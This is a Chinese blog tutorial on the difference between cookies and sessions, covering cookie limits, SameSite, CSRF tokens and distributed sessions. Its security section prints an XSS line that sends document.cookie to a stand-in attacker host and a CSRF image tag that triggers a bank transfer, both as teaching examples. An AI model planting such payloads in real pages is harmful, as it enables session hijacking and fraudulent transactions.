Cookie,Session的区别

2021-03-16  本文已影响0人  弱冠而不立

Cookie

是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。

使用场景
使用限制
    for (let i = 0; i < 1000; i++) {
        // 不设置 expires, 则在会话结束后过期
        document.cookie = "test" + i + "=" + i * 11;
    }

    let cookieArr = document.cookie.split(";")

    console.log(cookieArr.length);
安全性考虑
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

这段代码的意思就是,劫持到 cookie 然后发给别人。就比如,你写评论,填了个脚本代码进去,然后前后端都没进行防范,然后这个脚本被别人当中评论执行了,然后就泄漏了自己的cookie信息。

假如一家银行用以运行转账操作的URL地址如下: https://bank.example.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="https://bank.example.com/withdraw?account=Alice&amount=1000&for=Badman" />

只要 Alice 访问了这个链接,且恰好银行转账这个操作又是通过 Cookie 来核实身份的,那么被害人就毫不知情地把钱转给 Badman 了。

预防 cookie 带来的危险
<form method="post">
    <input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />
</form>

缺点嘛,自然就是因为,页面渲染和令牌生成验证什么的都是由服务器来干。要是请求太多了,服务器压力也就会过大。

SameSite 属性是啥?

以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中——包括跨站请求。
大多数主流浏览器正在将 SameSite 的默认值迁移至 Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None。

Tips

为什么 cookie 和 token 都放在 header 中,CSRF 会劫持 cookie 而不是 token?
因为,cookie 会自动携带上。而token不会自动携带上。这就意味着,客户端所发送的敏感请求,都可以通过代码去约定一定是用户手动请求的。

Session

Session 代表着服务器和客户端一次会话的过程。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当客户端关闭会话,或者 Session 超时失效时会话结束。

使用场景

Session 通常保持在服务器端,那如何和客户端建立联系呢?一般来说都是,客户端和服务器第一次建立通信时,服务器端生成 Session 然后也会有一个对应的SessionId,然后返回给客户端。客户端将这个 SessionId 保存在 Cookie 里。然后每次请求都携带,服务器根据这个 SessionId 来识别用户身份。

如果后端服务器是分布式,怎么保证Session正确识别?

在互联网公司为了可以支撑更大的流量,后端往往需要多台服务器共同来支撑前端用户请求,那如果用户在 A 服务器登录了,第二次请求跑到服务 B 就会出现登录失效问题。

总结

上一篇下一篇

猜你喜欢

热点阅读